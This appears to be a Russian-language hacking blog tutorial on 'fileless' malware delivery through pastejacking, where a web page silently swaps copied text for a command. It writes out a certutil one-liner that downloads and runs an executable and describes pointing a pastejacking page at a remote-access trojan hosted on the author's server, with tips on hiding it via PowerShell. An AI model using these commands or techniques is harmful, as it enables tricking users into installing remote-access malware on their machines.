Безфайловая атака

Для некоторых целей атаки были полностью “безфайловые”, в итоге доставлявшие Meterpreter-сессию непосредственно в память.

Давайте сначала вспомним, что собой представляет атака pastejacking. Ранее помним, что была такая атака, с задействованным буфером обмена с копированием зловредной команды с частью кода css. Пока Дилан Эйри не разнообразил такую атаку и вместо css предложил использовать javascript.

Он и изобрёл тем самым метод, который называется Pastejacking.

Опасность в том ,что не надо копировать в таком случае всё, а достаточно нескольких символов. Атаковать возможно машины как Windows ,так и Linux.

Первый способ основан на полном использовании javascript, полном копировании атакуемого содержимого. Браузер жертвы должен не знать о существовании всяких примочек, позволяющих регулировать javascript.

Следующий способ построен на использовании атрибута span style, должен работать во многих браузерах. Он не требует включения javascript и достаточно, чтобы цель скопировала либо весь текст на странице, либо несколько слов. Самое главное, чтобы вредоносный текст также скопировался.

И крайний метод-это похожий на предыдущий,только текст, абсолютно немаркируемый. Цель должна скопировать весь текст полностью, но может не сработать на браузерах Opera и Сhrome.

Сегодня мы рассмотрим метод поставки нашего вируса/пейлоада на целевой ПК при помощи команды в cmd. Без файлов. Совсем.

Приступим!

Для начала хочу показать вам фичу, при помощи которой в Windows можно скачивать файлы, называется она certutil.

К примеру, чтобы скачать программу PuTTY команда в cmd должна быть такой:

certutil -urlcache -split -f https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

Что-бы скачать и запустить файл, нужно добавить команду открытия файла, просто добавляем & имя файла.exe. Итоговая команда (в случае с путти) выглядит так:

certutil -urlcache -split -f https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe & putty.exe

Выполнив эту команду, у нас скачается и запустится путти:

С запуском в cmd разобрались, теперь перейдём к Pastejacking'у. Я подготовил простой html файл:

Теперь разберём как это работает.

При переходе на наш сайт (где мы предварительно находится наш html) будет показан следующий текст:

Если мы скопируем тест с сайта, и вставим в другое окно, мы увидим, что скопировали наш скрипт:

Теперь протестируем в боевых условиях. Я сделал билд РАТника и загрузил его на свой сервер, ведь нам нужна прямая ссылка на файл(!)

Далее нам нужно отредактировать html файл. Просто заменить ссылку на файл и имя файла:

Результат:

Заключение

Как видишь, для загрузки вируса на ПК в некоторых случаях ненужен даже бинарник (относительно).

В идеале скрипт можно переделать под powershell, скрыть от пользователя. Но не стоит недооценивать данный вектор атак. Если статья зайдёт, сделаю продолжение, где работать мы будем через Kali Linux с одним интересным инструментом для безфайловых атак.